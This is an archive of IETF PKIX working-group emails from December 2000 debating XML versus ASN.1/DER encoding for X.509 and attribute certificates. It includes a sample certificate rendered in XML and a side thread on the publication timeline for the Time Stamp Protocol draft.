X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id PAA04243
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id SAA24376


     IMHO the main advantage of XML over ASN.1 for any of these PKI
functions, including AC's, is the far greater number of developers who are
fluent in XML as compared to ASN.1 with BER or DER.  Speaking as one of the
relatively few who is more fluent in ASN.1 than XML, I know of no other
reason why XML should be preferred for such uses.  However, since syntax
difficulty may well have been one of the reasons why SMTP has become widely
adopted while X.400 has not, this is not a trivial reason.

          Tom Gindin


thayes@netscape.com (Terry Hayes) on 12/07/2000 02:00:24 PM

To:   Polar Humenn <polar@adiron.com>
cc:   Tim Polk <tim.polk@nist.gov>, ietf-pkix@imc.org
Subject:  Re: PKIXML session.  Was: PKIX WG tentative agenda



Polar Humenn wrote:

On Thu, 7 Dec 2000, Tim Polk wrote:

<snipped>


To be honest, I personally believe that XML is an
inappropriate encoding format for certificates (public key *or* attribute).



Forgive me, I'm just an academic. So, my I ask, what does the encoding
format really matter? And especially, why is XML "inappropriate" for
certificates?


At the end of the day, the encoding format doesn't really matter.  As long
as the required data is included in the payload, and all the parties
involved can decode and process the message, the desired results will be
acheived.

However,  there currently is a widely deployed and useful infrastructure
for certificates that uses ASN.1, DER and X.509 as the standard way of
representing the payload.  There are applications and protocols that use
this infrastructure such as TLS/SSL, S/MIME and even XMLDSIG that embed
these existing formats.  There is infrastructure developed and deployed for
generating these certificates.  There are standard interfaces to devices
that provided mechanisms for dealing with X.509 certificates (I'm thinking
of PKCS#11).

Why would you want to replace all of these just for the sake of "purity of
XML"?

Terry




From owner-ietf-pkix@imc.org  Thu Dec  7 21:18:48 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA05755
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 21:18:48 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id SAA08924;
	Thu, 7 Dec 2000 18:15:50 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 18:15:38 -0800
Received: from arnie.adacel.com.au (arnie.adacel.com.au [203.36.26.147])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id SAA08889
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 18:15:36 -0800 (PST)
Received: (qmail 5137 invoked from network); 8 Dec 2000 02:19:51 -0000
Received: from unknown (HELO osmium) (203.8.85.176)
  by arnie.adacel.com.au with SMTP; 8 Dec 2000 02:19:51 -0000
Reply-To: <steven.legg@adacel.com.au>
From: "Steven Legg" <steven.legg@adacel.com.au>
To: "'Aram Perez'" <aram@pacbell.net>, "'PKIX'" <ietf-pkix@imc.org>
Subject: RE: PKIXML session.  Was: PKIX WG tentative agenda
Date: Fri, 8 Dec 2000 13:18:15 +1100
Message-ID: <000601c060bd$2001acc0$b05508cb@osmium.adacel.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2120.0
In-Reply-To: <B65507FD.31D4%aram@pacbell.net>
Importance: Normal
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit



> -----Original Message-----
> From: Aram Perez [mailto:aram@pacbell.net]
> Sent: Friday, 8 December 2000 4:25
> To: PKIX
> Subject: FW: PKIXML session. Was: PKIX WG tentative agenda
>
>
> Just for fun, I've attached the PKIX example #1 certificate
> converted from
> ASN.1 to XML.
>
> Enjoy,
> Aram Perez

That's one way to encode a certificate in XML, but not a method I find
particularly appealing. The following XML encoding of the same certificate
is my best guess (possibly way off) at what represents current thinking on
the ASN.1 group's XML encoding rules mailing list. I would name the elements
in a SET OF or SEQUENCE OF differently, but that is an argument for a
different forum.

<Certificate>
  <toBeSigned>
    <version>
      v3
    </version>
    <serialNumber>
      17
    </serialNumber>
    <signature>
      <algorithm>
         { 1 2 840 10040 4 3 }
      </algorithm>
    </signature>
    <issuer>
      <rdnSequence>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 6 }</type>
            <value>US</value>
          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 10 }</type>
            <value>gov</value>
          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 11 }</type>
            <value>nist</value>
          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
      </rdnSequence>
    </issuer>
    <validity>
      <notBefore>
        970630000000Z
      </notBefore>
      <notAfter>
        971231000000Z
      </notAfter>
    </validity>
    <subject>
      <rdnSequence>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 6 }</type>
            <value>US</value>
          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 10 }</type>
            <value>gov</value>
          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
        <RelativeDistinguishedName>
          <AttributeTypeAndValue>
            <type>{ 2 5 4 11 }</type>
            <value>nist</value>
          </AttributeTypeAndValue>
        </RelativeDistinguishedName>
      </rdnSequence>
    </subject>
    <subjectPublicKeyInfo>
      <algorithm>
        <algorithm>{ 1 2 840 10040 4 1 }</algorithm>
        <parameters>
          <p>
            d43802c5357bd50ba17e5d72596355d3
            4556eae2251a6bc5a4abaa0bd462b4d2
            21b195a2c601c9c3fa016f7986833d03
            61e1f192acbc034e89a3c9534af7e2a6
            48cf421e21b15c2b3a7fbabe6b5af70a
            26d88e1bebecbf1e5a3f45c0bd3123be
            6971a7c290fea5d680b524dc449ceb4d
            f9daf0c8e8a24c99075c8e352b7d578d
          </p>
          <q>
            a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd
          </q>
          <g>
            0e3b46318a0a58864084e3a1220d88ca
            908857649f0121e01505942482e21090
            d9e14e105ce7546bd40c2b1b590aa0b5
            a17db507e3657cea90d88e3042e485bb
            acfa4e764b780edf6ce5a6e1bd59777d
            a69759c529a7b33f953e9df1592df742
            87623ff1b86fc73d4bb88d74c4ca4490
            cf67dbde1460974ad1f76d9e0994c40d
          </g>
        </parameters>
      </algorithm>
      <subjectPublicKey>
        028180aa98ea1394a2dbf15b7f982f78
        e7d8e3b97186f6802f4039c3da3b4b13
        4626ee0d56c5a33a39b77d33c26b5c77
        92f255659039cd1a3c86e132eb25bc91
        c4ff804f3661bdcce26104e07e6013ca
        c09cdde0ea41de33c1f144a9bc71decf
        59d46eda44993c2164e478549dd07bba
        4ef5184d5e3930bfe0d1f6f483254f14
        aa71e1
      </subjectPublicKey>
    </subjectPublicKeyInfo>
    <extensions>
      <Extension>
          <extnId>
          { 2 5 29 19 }
        </extnId>
        <critical>
          TRUE
        </critical>
        <extnValue>
          30030101ff
        </extnValue>
      </Extension>
      <Extension>
        <extnId>
          { 2 5 29 14 }
        </extnId>
        <extnValue>
          0414e726c554cd5ba36f356895aad5ff1c21e42275d6
        </extnValue>
      </Extension>
    </extensions>
  </toBeSigned>
  <algorithmIdentifier>
    <algorithm>
      { 1 2 840 10040 4 3 }
    </algorithm>
  </algorithmIdentifier>
  <encrypted>
    302c0214a066c176339913518d93642f
    ca1373de791a7d3302145d90f6ce924a
    bf2911248028a65a8e73b6760268
  </encrypted>
</Certificate>

Regards,
Steven



From owner-ietf-pkix@imc.org  Thu Dec  7 22:42:42 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA27471
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 22:42:42 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id TAA10188;
	Thu, 7 Dec 2000 19:07:31 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 19:07:27 -0800
Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id TAA10157
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 19:07:26 -0800 (PST)
Received: from [192.168.1.3] ([208.233.228.110])
 by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with ESMTP id <0G5800E7X9J2G0@mta6.snfc21.pbi.net> for ietf-pkix@imc.org; Thu,
 7 Dec 2000 18:28:15 -0800 (PST)
Date: Thu, 07 Dec 2000 18:29:28 -0800
From: Aram Perez <aram@pacbell.net>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
In-reply-to: <000601c060bd$2001acc0$b05508cb@osmium.adacel.com.au>
To: "'PKIX'" <ietf-pkix@imc.org>
Message-id: <B6558787.31F0%aram@pacbell.net>
MIME-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Hi Steven,

I should have stated, "I've attached the PKIX example #1 certificate
converted from BER/DER to XML.

Regards,
Aram Perez

> From: Steven Legg <steven.legg@adacel.com.au>
> Reply-To: steven.legg@adacel.com.au
> Date: Fri, 08 Dec 2000 13:18:15 +1100
> To: 'Aram Perez' <aram@pacbell.net>, 'PKIX' <ietf-pkix@imc.org>
> Subject: RE: PKIXML session.  Was: PKIX WG tentative agenda
> 
> 
> 
>> -----Original Message-----
>> From: Aram Perez [mailto:aram@pacbell.net]
>> Sent: Friday, 8 December 2000 4:25
>> To: PKIX
>> Subject: FW: PKIXML session. Was: PKIX WG tentative agenda
>> 
>> 
>> Just for fun, I've attached the PKIX example #1 certificate
>> converted from
>> ASN.1 to XML.
>> 
>> Enjoy,
>> Aram Perez
> 
> That's one way to encode a certificate in XML, but not a method I find
> particularly appealing. The following XML encoding of the same certificate
> is my best guess (possibly way off) at what represents current thinking on
> the ASN.1 group's XML encoding rules mailing list. I would name the elements
> in a SET OF or SEQUENCE OF differently, but that is an argument for a
> different forum.
> 
> <Certificate>
> <toBeSigned>
> <version>
> v3
> </version>
> <serialNumber>
> 17
> </serialNumber>
> <signature>
> <algorithm>
> { 1 2 840 10040 4 3 }
> </algorithm>
> </signature>
> <issuer>
> <rdnSequence>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 6 }</type>
> <value>US</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 10 }</type>
> <value>gov</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 11 }</type>
> <value>nist</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> </rdnSequence>
> </issuer>
> <validity>
> <notBefore>
> 970630000000Z
> </notBefore>
> <notAfter>
> 971231000000Z
> </notAfter>
> </validity>
> <subject>
> <rdnSequence>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 6 }</type>
> <value>US</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 10 }</type>
> <value>gov</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> <RelativeDistinguishedName>
> <AttributeTypeAndValue>
> <type>{ 2 5 4 11 }</type>
> <value>nist</value>
> </AttributeTypeAndValue>
> </RelativeDistinguishedName>
> </rdnSequence>
> </subject>
> <subjectPublicKeyInfo>
> <algorithm>
> <algorithm>{ 1 2 840 10040 4 1 }</algorithm>
> <parameters>
> <p>
> d43802c5357bd50ba17e5d72596355d3
> 4556eae2251a6bc5a4abaa0bd462b4d2
> 21b195a2c601c9c3fa016f7986833d03
> 61e1f192acbc034e89a3c9534af7e2a6
> 48cf421e21b15c2b3a7fbabe6b5af70a
> 26d88e1bebecbf1e5a3f45c0bd3123be
> 6971a7c290fea5d680b524dc449ceb4d
> f9daf0c8e8a24c99075c8e352b7d578d
> </p>
> <q>
> a7839bf3bd2c2007fc4ce7e89ff33983510ddcdd
> </q>
> <g>
> 0e3b46318a0a58864084e3a1220d88ca
> 908857649f0121e01505942482e21090
> d9e14e105ce7546bd40c2b1b590aa0b5
> a17db507e3657cea90d88e3042e485bb
> acfa4e764b780edf6ce5a6e1bd59777d
> a69759c529a7b33f953e9df1592df742
> 87623ff1b86fc73d4bb88d74c4ca4490
> cf67dbde1460974ad1f76d9e0994c40d
> </g>
> </parameters>
> </algorithm>
> <subjectPublicKey>
> 028180aa98ea1394a2dbf15b7f982f78
> e7d8e3b97186f6802f4039c3da3b4b13
> 4626ee0d56c5a33a39b77d33c26b5c77
> 92f255659039cd1a3c86e132eb25bc91
> c4ff804f3661bdcce26104e07e6013ca
> c09cdde0ea41de33c1f144a9bc71decf
> 59d46eda44993c2164e478549dd07bba
> 4ef5184d5e3930bfe0d1f6f483254f14
> aa71e1
> </subjectPublicKey>
> </subjectPublicKeyInfo>
> <extensions>
> <Extension>
> <extnId>
> { 2 5 29 19 }
> </extnId>
> <critical>
> TRUE
> </critical>
> <extnValue>
> 30030101ff
> </extnValue>
> </Extension>
> <Extension>
> <extnId>
> { 2 5 29 14 }
> </extnId>
> <extnValue>
> 0414e726c554cd5ba36f356895aad5ff1c21e42275d6
> </extnValue>
> </Extension>
> </extensions>
> </toBeSigned>
> <algorithmIdentifier>
> <algorithm>
> { 1 2 840 10040 4 3 }
> </algorithm>
> </algorithmIdentifier>
> <encrypted>
> 302c0214a066c176339913518d93642f
> ca1373de791a7d3302145d90f6ce924a
> bf2911248028a65a8e73b6760268
> </encrypted>
> </Certificate>
> 
> Regards,
> Steven
> 



From owner-ietf-pkix@imc.org  Fri Dec  8 02:34:23 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA24238
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 02:34:23 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA21557;
	Thu, 7 Dec 2000 23:31:17 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 23:31:04 -0800
Received: from mystic1.trustcenter.de (mystic1.trustcenter.de [193.194.157.34])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA21485
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 23:31:02 -0800 (PST)
Received: by mystic1.trustcenter.de; id IAA26209; Fri, 8 Dec 2000 08:30:23 +0100
Received: from nodnsquery(192.168.200.3) by mystic1.trustcenter.de via smap (V5.0)
	id xma026190; Fri, 8 Dec 00 08:30:09 +0100
Received: from trustcenter.de (titan.trustcenter.de [192.168.200.244])
	by callisto.trustcenter.de (8.9.3/8.9.3) with ESMTP id IAA02278
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 08:32:13 +0100 (MET)
Message-ID: <3A308E91.C065FEE@trustcenter.de>
Date: Fri, 08 Dec 2000 08:32:33 +0100
From: Juergen Brauckmann <brauckmann@trustcenter.de>
X-Mailer: Mozilla 4.73 [en] (WinNT; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: ietf-pkix@imc.org
Subject: Re: two good points, Re: PKIXML session.  Was: PKIX WGtentative agenda
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
		 <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov> <4.2.0.58.20001207144441.01c61ae0@email.nist.gov> <3A300D20.F7497497@nma.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Ed Gerck wrote: 
> If XML encoded documents can be modified without changing the
> document, then presenting one XML encoded document which has
> a valid signature is enough to allow any number of documents equal
> to that one to be verified -- irrespective of their XML encoded form.
> 
> In other words, if F: X --> Y is a mapping between two sets X and Y
> such that several different x in X have the same image y0 in Y, then presenting
> a valid signature for one x0 is enough, together with a certified F, to certify all
> other x that have the same image as the certified x0 mapped by the certified F,
> which is y0.

So we can have an F() which transforms any pattern "$10 " into a "$1000
" for any given XML documents, so that a document verifies with $10 and
with $1000? Yes, this sounds really useful for signed documents;-)

Sorry, couldn't resist... .
 
> > >So, this is IMO good point #2 -- you can reduce a XML certificate size
> > >*below* the
> > >ASN.1 size.
> The same happens with ASN.1, so both are tied for anything that is random.
> But anything else can be compressed and presents a benefit for compressed
> XML over ASN.1.

You can compress your ASN.1 data too. "Compressed XML" is IMHO no
standard or RFC, just like there is no "Compressed ASN.1". When you
compress you DER certificates, they will be smaller than compressed XML
structures. For normally sized DNs  I even doubt that compressed XML
would be smaller than uncompressed ASN.1.

> Now, with more and more of our economy depending on digital certificates and
> almost-there-but-not-quite PKI technology, it is my opinion that we cannot yet
> block innovation in name of business, or a "preferred encoding".

Nobody wants to block innovation. The question is wether XML
certificates really would be an innovation. One example: It seems to be
necessary to define and use Transformations or C14N methods for any XML
signed data (for XML certificates that would be necessary too). The
Transformations are an *additional* processing step, where all kinds of
things can go wrong. This alone looks like a disadvantage regarding
interoperability and ease of implementation. And I guess that other
people have many more concerns about XML signatures.

Regards,
   Juergen


From owner-ietf-pkix@imc.org  Fri Dec  8 02:48:15 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA27245
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 02:48:14 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id XAA24752;
	Thu, 7 Dec 2000 23:45:24 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 23:45:22 -0800
Received: from maild.telia.com (root@maild.telia.com [194.22.190.3])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id XAA24711
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 23:45:20 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by maild.telia.com (8.9.3/8.9.3) with ESMTP id IAA14428;
	Fri, 8 Dec 2000 08:47:33 +0100 (CET)
Received: from mega (t2o69p13.telia.com [62.20.144.133])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB87lWo29227;
	Fri, 8 Dec 2000 08:47:32 +0100 (CET)
Message-ID: <002f01c060ea$eb9072e0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Tom Gindin" <tgindin@us.ibm.com>
Cc: "Polar Humenn" <polar@adiron.com>, "Tim Polk" <tim.polk@nist.gov>,
        <ietf-pkix@imc.org>
References: <OF6A94D9C2.805F97C7-ON852569AE.0068F124@somers.hqregion.ibm.com>
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
Date: Fri, 8 Dec 2000 08:46:03 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id XAA24715
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

>  IMHO the main advantage of XML over ASN.1 for any of these PKI
> functions, including AC's, is the far greater number of developers who are
> fluent in XML as compared to ASN.1 with BER or DER.  Speaking as one of the
> relatively few who is more fluent in ASN.1 than XML, I know of no other
> reason why XML should be preferred for such uses.  However, since syntax
> difficulty may well have been one of the reasons why SMTP has become widely
> adopted while X.400 has not, this is not a trivial reason.

Tom,
If you have followed my (too) frequent postings on the subject you should know that
there are actually *two* reasons for ACs to use to XML.  The second reason is the lack
of protocol and CA support for a certificate of the AC type.   By using a self-contained
signed object like PKCS #7, or in the XML-world XMLDSIG, the term "attribute certificate"
can be replaced by "signed attribute container" and make the AC replacement belong to
the same league as signed purchase orders etc.  And use *identical* PKI support code.

Using schemes like S2ML, the currently missing AC PUSH support, is already available w.o.
changing a single bit in the underlying PKI systems, protocols and browsers!

Given these facts I am willing to bet on that PKIX-ACs will be virtually insignificant.
Anyone interested in challenging this???

Anders




From owner-ietf-pkix@imc.org  Fri Dec  8 03:16:45 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA03579
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 03:16:44 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id AAA29649;
	Fri, 8 Dec 2000 00:13:54 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 00:13:50 -0800
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA29607
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 00:13:49 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223])
	by odin2.bull.net (8.9.3/8.9.3) with ESMTP id JAA16694;
	Fri, 8 Dec 2000 09:21:20 +0100
Received: from bull.net (frpq6118.frpq.bull.fr [129.184.8.64])
	by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id JAA17444;
	Fri, 8 Dec 2000 09:14:24 +0100
Message-ID: <3A309863.5F3A6D58@bull.net>
Date: Fri, 08 Dec 2000 09:14:27 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Tim Polk <tim.polk@nist.gov>
CC: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>,
        ietf-pkix <ietf-pkix@imc.org>
Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative agenda)
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207130621.01c41270@email.nist.gov>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Tim,

> Jean-Marc,
> 
> The IESG process does not operate on a fixed schedule, so we really can't
> predict when an RFC number might be available.  The IETF process consists
> of repeated discussion and debate regarding the merits of a
> specification.  At any stage, we could conceivably discover a problem that
> needs to be resolved.  Every problem that is encountered will take
> additional time.
> 
> TSP has several hurdles to cross. Once the ADs are satisfied, TSP will
> still need to go through IETF Last Call, be approved by the IESG, 

Wake-up ! Last call at the IESG level has already been performed on Monday,
28 Aug 2000

Here is the quoted E-mail:

" The IESG has received a request from the Public-Key Infrastructure
(X.509) Working Group to consider Internet X.509 Public Key
Infrastructure Time Stamp Protocols (TSP)
<draft-ietf-pkix-time-stamp-09.txt> as a Proposed Standard.

The IESG plans to make a decision in the next few weeks, and solicits
final comments on this action.  Please send any comments to the
iesg@ietf.org or ietf@ietf.org mailing lists by September 8, 2000."

Denis

> and wait
> in the IETF editing queue.  After successfully completing this process, it
> will get an RFC number.  (Note that IETF Last Call is a minimum of two
> weeks, and documents seem to be spending at least a month in the editing
> queue.  Many documents spend more time in each stage.)
> 
> I expect TSP to go through the process rather cleanly.  My experience is
> that documents which survive PKIX itself are already fairly well scrubbed.
> 
> Tim Polk
> 
> At 01:33 PM 12/7/00 +0100, Jean-Marc Desperrier wrote:
> >Tim Polk wrote:
> >
> > > I have attached the tentative agenda for next week's PKIX sessions.   As
> > > usual, we have a rather full agenda.  Both days should be
> > > interesting;  we'll discuss the path validation protocols on Tuesday and
> > > XML on Wednesday.  In between, we'll cover the status of our twenty current
> > > I-Ds.
> >
> >The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is
> >finished, and that the draft is now under Area Director Review.
> >
> >What would be a tentative time-line until publication as an RFC, or until
> >attribution of a RFC number ?
> >
> >


From owner-ietf-pkix@imc.org  Fri Dec  8 04:22:34 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA12664
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 04:22:33 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id BAA08611;
	Fri, 8 Dec 2000 01:19:41 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 01:19:25 -0800
Received: from certplus.com ([195.101.88.81])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id BAA08561
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 01:19:22 -0800 (PST)
Received: from certplus.com ([192.168.212.178])
	by certplus.com (8.8.7/8.8.7) with ESMTP id KAA30281
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 10:24:39 +0100
Message-ID: <3A30A7DE.6D397603@certplus.com>
Date: Fri, 08 Dec 2000 10:20:30 +0100
From: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix <ietf-pkix@imc.org>
Subject: Re: tentative timeline for TSP (was Re: PKIX WG tentative agenda)
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207130621.01c41270@email.nist.gov> <3A309863.5F3A6D58@bull.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Denis Pinkas wrote:

> Tim,
>
> > The IESG process does not operate on a fixed schedule, so we really can't
> > predict when an RFC number might be available.

My question had the key words "would", "tentative".
I'm aware nothing can be garanteed.

> > TSP has several hurdles to cross. Once the ADs are satisfied, TSP will
> > still need to go through IETF Last Call, be approved by the IESG,
>
> Wake-up ! Last call at the IESG level has already been performed on Monday,
> 28 Aug 2000

That's not what you want to hear, Denis, but did not the edition of a revised version
reset this and mean that there must be a new last call even if the changes are minors
?

> > and wait
> > in the IETF editing queue.  After successfully completing this process, it
> > will get an RFC number.  (Note that IETF Last Call is a minimum of two
> > weeks, and documents seem to be spending at least a month in the editing
> > queue.  Many documents spend more time in each stage.)
> >
> > I expect TSP to go through the process rather cleanly.  My experience is
> > that documents which survive PKIX itself are already fairly well scrubbed.

Thank you.
A best case time line and an opinion on whether it should go cleanly or not is all I
was expecting.




From owner-ietf-pkix@imc.org  Fri Dec  8 06:07:33 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA24372
	for <pkix-archive@odin.ietf.org>; Fri, 8 Dec 2000 06:07:32 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id DAA18479;
	Fri, 8 Dec 2000 03:04:29 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 8 Dec 2000 03:04:08 -0800
Received: from mailb.telia.com (root@mailb.telia.com [194.22.194.6])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA18424
	for <ietf-pkix@imc.org>; Fri, 8 Dec 2000 03:04:06 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by mailb.telia.com (8.9.3/8.9.3) with ESMTP id MAA27278;
	Fri, 8 Dec 2000 12:06:17 +0100 (CET)
Received: from mega (t7o69p41.telia.com [213.65.46.41])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB8B6Go21918;
	Fri, 8 Dec 2000 12:06:16 +0100 (CET)
Message-ID: <010a01c06106$aec10fc0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Tom Gindin" <tgindin@us.ibm.com>, "Polar Humenn" <polar@adiron.com>,
        "Tim Polk" <tim.polk@nist.gov>, <ietf-pkix@imc.org>
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
Date: Fri, 8 Dec 2000 12:04:38 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
